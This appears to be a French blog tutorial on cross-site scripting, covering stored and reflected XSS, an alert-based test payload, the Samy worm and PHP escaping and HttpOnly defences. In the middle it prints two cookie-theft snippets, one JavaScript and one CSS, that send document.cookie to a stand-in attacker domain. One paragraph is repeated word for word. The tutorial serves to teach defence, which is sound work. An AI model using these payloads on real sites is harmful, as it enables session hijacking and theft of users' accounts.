Introduction : Qu’est-ce que la faille XSS
XSS vient de Cross-Site Scripting et comme l’acronyme CSS était déjà pris pour Cascading Style Sheets, on a utilisé un X pour « cross » (croix en anglais).
La faille consiste à injecter un script arbitraire dans une page pour provoquer une action bien définie. Les autres utilisateurs exécutent le script sans s’en rendre compte dès l’ouverture de la page.
Cross veut également dire traverser, car l’un des buts de la faille est d’exécuter un script permettant de transmettre des données depuis un site vers un autre.
Ce problème se situe principalement au niveau des cookies, car on peut par exemple récupérer les cookies d’un site A depuis un site B. On peut ainsi récupérer les cookies de n’importe qui, même de l’administrateur d’un site.
Notez par ailleurs qu’on peut exploiter la faille XSS en JavaScript mais aussi avec d’autres langages.
Que peut-on faire avec une faille XSS ?
On distingue deux types de failles XSS:
1) XSS permanent
C’est lorsque le script est stocké sur le serveur externe (base de données). Il est donc récupéré et exécuté à tous moments sur le site par n’importe quel utilisateur.
2) XSS non permanent
Le script est souvent intégré à une URL et est exécuté sans être stocké sur un serveur.
On peut distinguer plusieurs possibilités non exhaustives d’exploitation de cette faille :
- Une redirection de la page afin de nuire aux utilisateurs ou pour tenter une attaque de phishing.
- Voler des sessions ou des cookies. (Donc se faire passer pour un autre utilisateur pour exécuter des actions)
- Rendre le site inaccessible en utilisant des alertes en boucle ou tout autre moyen nuisible.
Comment savoir si mon site est faillible ?
Lorsque vous transmettez des données (commentaires, posts d’articles, recherche d’un terme etc), si un script transmis comme:
<script type="text/javascript">alert('test');</script>
s’exécute, c’est-à-dire que si la boite de dialogue « test » apparait, le site est faillible.
C’est récemment arrivé sur Google Maps, et même plus de 10 ans après la découverte de la faille, on estime qu’une quantité encore énorme de sites sont faillibles.
C’est récemment arrivé sur Google Maps, et même plus de 10 ans après la découverte de la faille, on estime qu’une quantité encore énorme de sites sont faillibles.
Exemple d’exploitation de faille XSS
Le premier ver XSS appellé Samy s’est propagé sur myspace en 2005. Tous les utilisateurs qui visitaient une page spécifique re-propageaient à leur tour le ver.
Les explications entières sur le fonctionnement sont disponibles sur le site de Samy si vous souhaitez en apprendre plus.
Je ne peux pas citer toutes les possibilités, mais sachez que ça m’est arrivé de voir des failles XSS dans les pseudos des membres. L’administrateur se basait seulement sur un code JavaScript qui vérifiait si le pseudo contenait uniquement des lettres et chiffres, mais ne vérifiait pas du côté serveur.
Lorsqu’on parlait de vol de cookies, une exploitation populaire consiste à créer une fausse image en JavaScript qui récupère les cookies d’un utilisateur visitant la page ou il est placé, et l’envoie vers un autre site :
var a = new Image();
a.src="http://sitevoleurdecookies.fr/vol.php?cookie=" + document.cookie;
Et ça fonctionne même dans du code CSS :
<style>
.getcookies{
background-image:url('javascript:new Image().src="http://sitevoleurdecookies.fr/vol.php?cookie=" + encodeURI(document.cookie);');
}
</style>
<p></p>
Comment s’en prémunir
Il faut absolument utiliser les fonctions php
htmlspecialchars()
qui filtre les ‘<’ et ‘>’ ou htmlentities()
qui filtre toutes les entités html.Ces fonctions doivent être utilisées sur des entrées utilisateurs qui s’afficheront plus tard sur votre site. Si elle ne sont pas filtrées, les scripts comme ceux que nous avons vus plus haut s’exécuteront avec tout le mal qui s’en suit.
Au possible, il faut placer des cookies avec le paramètre HttpOnly, empêchant leur récupération avec JavaScript (Attention elle n’est pas forcément supportée par tous les navigateurs).
0 commentaires:
Enregistrer un commentaire